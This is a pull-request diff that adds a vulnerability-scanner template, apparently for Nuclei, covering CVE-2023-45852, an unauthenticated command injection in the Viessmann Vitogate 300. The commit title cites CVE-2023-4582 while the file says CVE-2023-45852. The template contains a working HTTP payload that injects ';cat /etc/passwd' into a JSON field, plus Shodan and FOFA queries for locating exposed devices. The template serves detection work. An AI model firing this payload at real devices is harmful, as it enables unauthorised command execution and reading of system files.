Merge pull request #8431 from iamnoooob/main

Added CVE-2023-4582 Vitogate 300 Unauth RCE

http/cves/2023/CVE-2023-4582.yaml

@@ -0,0 +1,42 @@
+id: CVE-2023-45852
+
+info:
+  name: Viessmann Vitogate 300 - Remote Code Execution
+  author: iamnoooob,rootxharsh,pdresearch
+  severity: critical
+  description: |
+    In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.
+  reference:
+    - https://connectivity.viessmann.com/gb/mp-fp/vitogate/vitogate-300-bn-mb.html
+    - https://github.com/Push3AX/vul/blob/main/viessmann/Vitogate300_RCE.md
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-45852
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2023-45852
+    cwe-id: CWE-77
+    cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: title:"Vitogate 300"
+    fofa-query: title="Vitogate 300"
+    vendor: Viessmann
+  tags: cve,cve2023,rce,vitogate
+
+http:
+  - raw:
+      - |
+        POST /cgi-bin/vitogate.cgi HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"{{randstr}};cat /etc/passwd"}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains_all(header, "application/json")'
+          - 'contains_all(body, "traceroute: {{randstr}}: Unknown host", "daemon:x:1:1:")'
+        condition: and